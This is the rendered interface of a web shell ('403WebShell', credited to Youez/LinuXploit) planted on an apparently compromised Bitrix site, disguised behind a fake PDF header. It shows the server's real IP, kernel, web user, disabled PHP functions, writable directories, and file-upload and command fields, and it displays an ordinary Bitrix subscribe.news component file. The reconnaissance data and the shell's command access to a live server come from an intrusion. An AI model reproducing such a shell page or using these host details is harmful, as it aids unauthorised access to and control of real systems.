%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.118.166.106
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/subscribe/install/components/bitrix/subscribe.news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/subscribe/install/components/bitrix/subscribe.news/component.php
<?
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();

if(!IsModuleInstalled("iblock") || !CModule::IncludeModule("iblock"))
	return;

//This is communication channel with subscription agent
//In
global $SUBSCRIBE_TEMPLATE_RUBRIC;

//Handle of parameters
$arParams["SITE_ID"] = trim($arParams["SITE_ID"]);
if($arParams["SITE_ID"] == '')
	$arParams["SITE_ID"] = $SUBSCRIBE_TEMPLATE_RUBRIC["SITE_ID"];

$arParams["IBLOCK_TYPE"] = trim($arParams["IBLOCK_TYPE"]);
if($arParams["IBLOCK_TYPE"] == '')
	$arParams["IBLOCK_TYPE"] = "news";

$arParams["ID"] = intval($arParams["ID"]);
if($arParams["ID"] <= 0)
	$arParams["ID"] = "";

//We have to save current user and create new one
//because of possible agent execution
global $USER;
$SAVED_USER = $USER;
$USER = new CUser;

//Let's be pessimists
$SUBSCRIBE_TEMPLATE_RESULT = 0;

$rsIBlock = CIBlock::GetList(
	array($arParams["SORT_BY"] => $arParams["SORT_ORDER"]),
	array(
		'ID' => $arParams["ID"],
		'TYPE' => $arParams["IBLOCK_TYPE"],
		'SITE_ID' => $arParams["SITE_ID"],
		'ACTIVE' => 'Y'
	));

$arOrder = array(
	$arParams["SORT_BY"] => $arParams["SORT_ORDER"],
);
$arFilter = array(
	'ACTIVE' => "Y",
	'>DATE_ACTIVE_FROM' => $SUBSCRIBE_TEMPLATE_RUBRIC["START_TIME"],
	'<=DATE_ACTIVE_FROM' => $SUBSCRIBE_TEMPLATE_RUBRIC["END_TIME"],
);
$arSelect = array(
	'ID',
	'IBLOCK_ID',
	'DETAIL_PAGE_URL',
	'PREVIEW_PICTURE',
	'DATE_ACTIVE_FROM',
	'NAME',
	'PREVIEW_TEXT',
	'PREVIEW_TEXT_TYPE',

);

$rsSite = CSite::GetByID($arParams["SITE_ID"]);
$arSite = $rsSite->Fetch();
$arResult["SERVER_NAME"] = $arSite["SERVER_NAME"];

$arResult["IBLOCKS"] = array();
while($arIBlock = $rsIBlock->Fetch())
{
	$arResult["IBLOCKS"][$arIBlock["ID"]] = $arIBlock;

	$arFilter['IBLOCK_ID'] = $arIBlock["ID"];
	$rsNews = CIBlockElement::GetList($arOrder, $arFilter, false, false, $arSelect);
	$arResult["IBLOCKS"][$arIBlock["ID"]]["ITEMS"] = array();
	while($obNews = $rsNews->GetNextElement())
	{
		$arNews = $obNews->GetFields();

		$arNews["PREVIEW_PICTURE"] = CFile::GetFileArray($arNews["PREVIEW_PICTURE"]);
		if(mb_strpos($arNews["DETAIL_PAGE_URL"], "http") !== 0)
			$arNews["DETAIL_PAGE_URL"] = "http://".$arSite["SERVER_NAME"].$arNews["DETAIL_PAGE_URL"];

		$arResult["IBLOCKS"][$arIBlock["ID"]]["ITEMS"][] = $arNews;
		$SUBSCRIBE_TEMPLATE_RESULT++;
	}
}

if($SUBSCRIBE_TEMPLATE_RESULT)
	$this->IncludeComponentTemplate();

//Restore user
$USER = $SAVED_USER;

return $SUBSCRIBE_TEMPLATE_RESULT;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit